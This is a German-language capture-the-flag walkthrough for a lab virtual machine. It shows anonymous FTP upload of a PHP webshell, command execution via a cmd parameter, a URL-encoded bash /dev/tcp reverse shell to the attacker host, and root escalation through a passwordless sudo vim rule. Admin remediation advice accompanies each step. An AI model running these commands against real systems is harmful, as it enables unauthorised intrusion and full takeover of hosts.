Analyse: Ein Nmap-Scan wird auf die Ziel-IP `192.168.2.117` durchgeführt. Optionen: `-sS` (SYN Scan), `-sC` (Default Scripts), `-sV` (Version Detection), `-T5` (Insane Timing), `-AO` (OS Detection), `-p-` (Alle Ports).
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 21/tcp:** FTP (ProFTPD). **Kritisch:** Anonymer Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Im Root-Verzeichnis des FTP-Servers liegt eine `index.html`-Datei. * **Port 80/tcp:** HTTP (Apache httpd 2.4.54 Debian). Eine aktuelle Apache-Version mit der Standardseite. Die OS-Erkennung deutet auf Linux hin, und die MAC-Adresse bestätigt eine VirtualBox-VM. Der Hostname `freund.hmv` wird ebenfalls ermittelt.
Empfehlung (Pentester): Der anonyme FTP-Zugang ist der vielversprechendste Angriffsvektor. Untersuchen Sie die FTP-Berechtigungen (insbesondere Upload). Prüfen Sie, ob das FTP-Root-Verzeichnis dem Web-Root-Verzeichnis (`/var/www/html`) entspricht oder darauf abgebildet ist.
Empfehlung (Admin): **Höchste Priorität:** Deaktivieren Sie den anonymen FTP-Zugang oder schränken Sie ihn stark ein (kein Schreibzugriff, chroot-Umgebung). Stellen Sie sicher, dass FTP-Verzeichnisse nicht über HTTP zugänglich sind.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 23:32 CEST Nmap scan report for freund.hmv (192.168.2.117) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 root root 10725 Feb 23 15:26 index.html 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:A2:9F:C0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms freund.hmv (192.168.2.117) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.76 seconds
Analyse: Eine einfache PHP-Webshell (``) wird lokal vorbereitet (`echo`, `vi`, `mv`). Die `/etc/hosts`-Datei wird angepasst, um `freund.hmv` auf die IP `192.168.2.117` zu mappen. Mittels `lftp` wird eine anonyme Verbindung zum FTP-Server aufgebaut. Es wird versucht, Verzeichnisse zu wechseln (`cd ..`, `cd /home`), was fehlschlägt. Anschließend werden die vorbereitete `test.txt` und die Webshell `test.php` erfolgreich in das FTP-Root-Verzeichnis hochgeladen.
Bewertung: Der anonyme FTP-Login funktioniert und erlaubt **Datei-Uploads** in das Wurzelverzeichnis des FTP-Servers. Da im Wurzelverzeichnis bereits eine `index.html` liegt (die vermutlich auch über HTTP auf Port 80 erreichbar ist), ist es sehr wahrscheinlich, dass das FTP-Root-Verzeichnis dem Web-Root (`/var/www/html`) entspricht. Das Hochladen einer PHP-Datei in dieses Verzeichnis ermöglicht Remote Code Execution (RCE), wenn die Datei über HTTP aufgerufen wird.
Empfehlung (Pentester): Rufen Sie die hochgeladene PHP-Datei (`test.php`) über den Webbrowser oder `curl` auf (`http://freund.hmv/test.php`). Hängen Sie den `cmd`-Parameter an, um Befehle auszuführen (z.B. `?cmd=id`). Nutzen Sie dies, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): **Kritische Fehlkonfiguration!** Deaktivieren Sie den anonymen FTP-Upload sofort. Stellen Sie sicher, dass das FTP-Verzeichnis nicht das Web-Root-Verzeichnis ist oder anderweitig über HTTP erreichbar ist. Konfigurieren Sie ProFTPD und Apache sicher.
127.0.0.1 localhost 127.0.1.1 cyber #192.168.2.107 whythisapiissofast.kitty.hmv kitty.hmv fake.local jwt.hmv 192.168.2.117 freund.hmv # Eintrag hinzugefügt/korrigiert # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
-rw-r--r-- 1 root root 10725 Feb 23 15:26 index.html
-rw-r--r-- 1 root root 10725 Feb 23 15:26 index.html
ftp://anonymous:@192.168.2.117/
cd: Zugriff nicht möglich:550 /home: No such file or directory
5 Bytes übertragen
-rw-r--r-- 1 root root 10725 Feb 23 15:26 index.html -rw-r--r-- 1 ftp nogroup 5 Apr 4 21:42 test.txt
31 Bytes übertragen
-rw-r--r-- 1 root root 10725 Feb 23 15:26 index.html -rw-r--r-- 1 ftp nogroup 31 Apr 4 21:43 test.php -rw-r--r-- 1 ftp nogroup 5 Apr 4 21:42 test.txt
Analyse: Die hochgeladene Webshell `test.php` wird über HTTP aufgerufen. Zuerst wird der Befehl `id` ausgeführt, dann `cat /etc/passwd` und `cat /etc/passwd | grep bash`, um Informationen über den Benutzer (`www-data`) und andere Benutzer auf dem System (`RiJaba1`) zu sammeln.
Bewertung: Die RCE funktioniert wie erwartet. Die Befehle werden als Benutzer `www-data` ausgeführt. Die Analyse von `/etc/passwd` enthüllt einen regulären Benutzer namens `RiJaba1`.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zum Angreifer-System aufzubauen. Dies ermöglicht eine interaktive Sitzung als `www-data`.
Empfehlung (Admin): Entfernen Sie die hochgeladene Datei `test.php`. Beheben Sie die anonyme FTP-Upload-Schwachstelle.
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=id # Ergebnis: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=cat%20/etc/passwd # Ergebnis: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534:/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109:/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin proftpd:x:105:65534:/run/proftpd:/usr/sbin/nologin ftp:x:106:65534:/srv/ftp:/usr/sbin/nologin RiJaba1:x:1000:1000:/home/RiJaba1:/bin/bash
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=cat%20/etc/passwd%20%7C%20grep%20bash # Ergebnis: root:x:0:0:root:/root:/bin/bash RiJaba1:x:1000:1000:/home/RiJaba1:/bin/bash
Analyse: Eine Reverse Shell wird mittels `nc` und einer Bash-Payload aufgebaut. 1. Ein Listener wird auf dem Angreifer-System gestartet: `nc -lvnp 9001`. 2. Die Webshell wird mit einer URL-kodierten Bash-Reverse-Shell-Payload aufgerufen: `http://freund.hmv/test.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.114%2F9001%200%3E%261%27`. 3. Der Listener empfängt die Verbindung und eine Shell als `www-data` wird erhalten. 4. Die Shell wird mit `python3`, `export TERM` und `stty raw -echo; fg` stabilisiert.
Bewertung: Der Aufbau der Reverse Shell und die Stabilisierung sind erfolgreich. Der Pentester hat nun eine stabile, interaktive Shell als `www-data`. Initialer Zugriff erreicht.
Empfehlung (Pentester): Führen Sie lokale Enumeration als `www-data` durch. Suchen Sie nach der User-Flag (wahrscheinlich im Home-Verzeichnis von `RiJaba1`) und nach Wegen zur Rechteausweitung (z.B. `sudo -l`, SUID-Binaries).
listening on [any] 9001 ...
# Aufruf im Browser oder mit curl: http://freund.hmv/test.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.114%2F9001%200%3E%261%27
connect to [192.168.2.114] from (UNKNOWN) [192.168.2.117] 56220
bash: cannot set terminal process group (444): Inappropriate ioctl for device bash: no job control in this shell
/usr/bin/python3
[1] + continued nc -lvnp 9001
Analyse: Als `www-data` wird das Home-Verzeichnis des Benutzers `RiJaba1` untersucht und die User-Flag gelesen. Anschließend werden die `sudo`-Rechte für `www-data` überprüft.
Bewertung: * Die User-Flag `b8cff8c9008e1c98a1f2937b4475acd6` wird erfolgreich aus `/home/RiJaba1/user.txt` gelesen. `www-data` hat Leserechte auf diese Datei. * `sudo -l` enthüllt die **kritische Schwachstelle:** `User www-data may run the following commands on friendly: (ALL : ALL) NOPASSWD: /usr/bin/vim`. Der Webserver-Benutzer darf `vim` als jeder Benutzer (insbesondere `root`) ohne Passwort ausführen.
Empfehlung (Pentester): Nutzen Sie die `sudo vim`-Berechtigung zur sofortigen Root-Eskalation. Führen Sie `sudo vim` aus und geben Sie im Editor `:!/bin/sh` ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): **Höchste Priorität:** Entfernen Sie sofort die `sudo`-Regel für `vim`. Der Webserver-Benutzer (`www-data`) sollte niemals `sudo`-Rechte haben, schon gar nicht für einen Editor und ohne Passwort. Überprüfen Sie alle `sudo`-Regeln auf dem System.
RiJaba1
CTF Private YouTube user.txt
b8cff8c9008e1c98a1f2937b4475acd6
Matching Defaults entries for www-data on friendly: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on friendly: (ALL : ALL) NOPASSWD: /usr/bin/vim
Kurzbeschreibung: Dieser Proof of Concept demonstriert die Ausnutzung einer unsicheren `sudo`-Regel, die dem Benutzer `www-data` erlaubt, `/usr/bin/vim` als `root` ohne Passwort auszuführen. Da `vim` die Ausführung externer Befehle ermöglicht, kann dies direkt zur Erlangung einer Root-Shell missbraucht werden.
Voraussetzungen: * Zugriff als Benutzer `www-data`. * Die `sudo`-Regel `(ALL : ALL) NOPASSWD: /usr/bin/vim` muss aktiv sein.
Schritte zur Ausnutzung: 1. **Vim als Root starten:** Der Befehl `sudo -u root vim` wird ausgeführt. Da `NOPASSWD` gesetzt ist, erfolgt keine Passwortabfrage. `vim` startet mit Root-Rechten. 2. **Shell-Befehl aus Vim ausführen:** Innerhalb von `vim` wird der Befehl `:!/bin/sh` eingegeben und mit Enter bestätigt. Das `:!` führt einen externen Shell-Befehl aus. 3. **Root-Shell erhalten:** `/bin/sh` wird gestartet. Da `vim` als `root` lief, erbt die gestartete Shell die Root-Privilegien. 4. **Bestätigung:** Der Befehl `id` wird in der neuen Shell ausgeführt und bestätigt `uid=0(root)`.
Bewertung: Der Exploit ist trivial und erfolgreich. Die unsichere `sudo`-Regel ermöglicht die sofortige Eskalation zu Root. Fantastisch, Root-Zugriff erlangt!
Empfehlung (Pentester): Root-Zugriff erreicht. Suchen Sie nach der Root-Flag.
Empfehlung (Admin): **Höchste Priorität:** Entfernen Sie die unsichere `sudo`-Regel für `vim` sofort. Überprüfen Sie alle `sudo`-Konfigurationen gründlich.
Risikobewertung: Die Kombination aus einer unsicheren FTP-Konfiguration (anonymer Upload ins Web-Root) und einer extrem gefährlichen `sudo`-Regel ermöglichte eine einfache Kompromittierung und Eskalation zum Root-Benutzer. Das Risiko ist **kritisch**.
uid=0(root) gid=0(root) groups=0(root)
Analyse: Nach Erhalt der Root-Shell wird versucht, die Root-Flag zu lesen. Zuerst in `/root/root.txt`, dann wird mit `find` nach allen Dateien namens `root.txt` gesucht.
Bewertung: Die Datei `/root/root.txt` enthält eine "Fake"-Flag. Der `find`-Befehl findet die echte Flag in `/var/log/apache2/root.txt`. Das Lesen dieser Datei mit `cat` enthüllt die Root-Flag: `66b5c58f3e83aff307441714d3e28d2f`.
Empfehlung (Pentester): Root-Flag gefunden. Test abgeschlossen.
Empfehlung (Admin): Platzieren Sie sensible Dateien wie Flags nicht an ungewöhnlichen Orten wie Log-Verzeichnissen. Schützen Sie die Root-Flag mit korrekten Berechtigungen (nur für Root lesbar) und am Standardort `/root/root.txt`.
Not yet! Find root.txt.
/var/log/apache2/root.txt /root/root.txt
66b5c58f3e83aff307441714d3e28d2f
Analyse: Die User-Flag wurde im Home-Verzeichnis von `RiJaba1` gefunden. Die Root-Flag wurde im Apache-Log-Verzeichnis gefunden, nachdem Root-Rechte erlangt wurden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.